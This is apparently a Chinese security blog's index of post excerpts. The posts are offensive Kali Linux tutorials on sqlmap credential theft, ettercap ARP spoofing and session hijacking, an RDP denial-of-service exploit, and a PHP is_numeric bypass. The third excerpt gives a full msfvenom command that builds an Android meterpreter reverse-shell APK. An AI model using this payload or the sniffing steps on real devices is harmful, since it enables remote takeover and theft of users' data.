摘要：
web安全-- 越权操作 web安全-- 越权操作 1.1 漏洞描述 越权漏洞是比较常见的漏洞类型，越权漏洞可以理解为，一个正常的用户A通常只能够对自己的一些信息进行增删改查，但是由于程序员的一时疏忽未对信息进行增删改查的时候没有进行一个判断，判断所需要操作的信息是否属于对应的用户，可以导致用户A可 阅读全文
摘要：
我们都知道，对于网络渗透最重要的一步是要拿到后台数据库管理员的密码与用户名，那么怎么得到这个用户名和密码呢？就要用到今天所说的Sqlmap，它不仅适用于内网环境，在外网环境也是非常受欢迎的，并且在Kali Linux里边显得尤为重要，它所到之处几乎是“寸草不生”，那么接下来我就简单介绍下Sqlmap 阅读全文
摘要：
首先我在Kali下生成一个Android的应用程序，即apk格式的文件，用到的命令是： msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释：-p：指的是在本次环境中攻击所使用的pa 阅读全文
摘要：
Metasploit利用远程桌面协议RDP拒绝访问漏洞(MS12-020) 可以看到3389服务以及启动： 则可以看见主机已经遭受了溢出攻击而蓝屏重启： 而在监听端可以看出整个攻击的DOS全过程： 阅读全文
摘要：
内存攻击指的是攻击者利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流，转而执行外部输入的指令代码，造成目标系统被获取远程控制或被拒绝服务。内存攻击表面原因是软件编写错误，注入过滤输入的条件设置缺陷、变量类型转换错误等，但 阅读全文
摘要：
前面两种说的是在Kali下的ettercap工具通过配合driftnet和urlsnarf进行数据捕获，接下来我要说的是利用Kali下的另外一种抓包分析工具——wireshark来进行捕获数据： 首先还是在主机上监听： 接下来启动wireshark，并且选取抓包网卡eth0：则jiexialjius 阅读全文
摘要：
在前面我都演示的是在Kali下用命令行的形式将在目标主机上操作的用户的信息捕获的过程，那么接下来我将演示在Kali中用图形界面的ettercap对目标主机的用户进行会话劫持： 首先启动图形界面的ettercap： 接下来将嗅探方式修改为同意嗅探，且嗅探网卡为eth0： 接下来进行在同一局域网内的主机 阅读全文
摘要：
前一小节说到在Kali下可以进行捕获客户端的图片，那么同样的，客户端访问的网页也是可以捕获的： 、 以上可以看出监听完毕，那么在被监听端访问阿里云的一个网站： 在监听端用urlsnart这个工具进行捕获，可以看出已经捕获到了： 阅读全文
摘要：
ettercap利用计算机在局域网内进行通信的ARP协议的缺陷进行攻击，在目标主机与服务器之间充当中间人，嗅探两者之间的数据流量，从中窃取用户的数据信息，那么接下来我就给大家演示一下客户端的图片是怎么被劫持的： 首先启动ettrcap这个工具，在这里-T表示文本模式；-q表示安静模式，抓到数据包之后 阅读全文
摘要：
PHP中is_numeric函数十六进制绕过0day 0×00 简介国内一部分CMS程序里面有用到过is_numberic函数，我们先看看这个函数的结构bool is_numeric ( mixed $var )如果 var 是数字和数字字符串则返回 TRUE，否则返回 FALSE。 0×01 函数 阅读全文